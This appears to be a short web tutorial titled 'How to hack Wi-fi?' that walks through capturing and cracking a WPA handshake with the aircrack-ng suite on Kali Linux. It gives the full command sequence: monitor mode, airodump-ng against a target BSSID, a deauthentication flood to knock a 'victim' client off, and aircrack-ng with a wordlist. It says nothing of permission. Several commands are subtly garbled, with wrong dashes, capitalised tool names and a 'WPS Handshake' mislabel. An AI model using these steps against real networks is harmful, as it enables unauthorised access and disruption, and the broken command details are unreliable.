How to hack Wi-fi?

                        

Step 1 : Open the terminal window in kali linux.

Step 2 : Type “ifconfig” to know the name of your WiFi adaptor then put your wifi adaptor into monitor mode.

          Here my wifi adaptor name is wlan0

Step 3 : Now type the command  “airmon-ng start wlan0”

Note : you can not use your internet while your wifi is in monitor mode, and my adaptor name is changed from wlan0 to wlan0mon.

Step 4 : Now type “airmon-ng check kill” to kill the background process.

Step 5 : Now we will start monitoring WiFi signals, type “airodump-ng wlan0mon” and hit enter.

          Now all the access points are visible and you can see your target/victim. Now you have to wait for someone to get connected to that point.

Step 6 : Open a new terminal window (don’t close the previous one), we need to copy bssid.

Step 7 : Now type the following command :

Syntax :

Airodump-ng –bssid –c –write

Example

Airodump-ng –bssid

64:6C:82:E8:24:EC –c 6 –write HSfile wlan0mon

Step 8 : Now we need to capture the handshake  which contain the encrypted password.

Now we need to disconnect the connection client from network.

Step 9 : Now type the following command :

Aireplay-ng –deauth 10 –a

64:6C:82:E8:24:EC wlan0mon

Note : This command will send 10 authentication packets to the access point, which will cause the clients to disconnect from the Access point.

Now we will try to reconnect to the access point and that’s the time when I will capture the encrypted password file.

 

If you can see, message that “WPS Handshake: B SSID of Target”. It means the attack is successful and we got the handshake file.

Step 10 : Now time to decrypt the password. Type the following :

Aircrack-ng HSfile-01.cap –w

PasswordList.txt

Note: Remember that this type of attack is as good as your password list.

Congrats! You did it.😋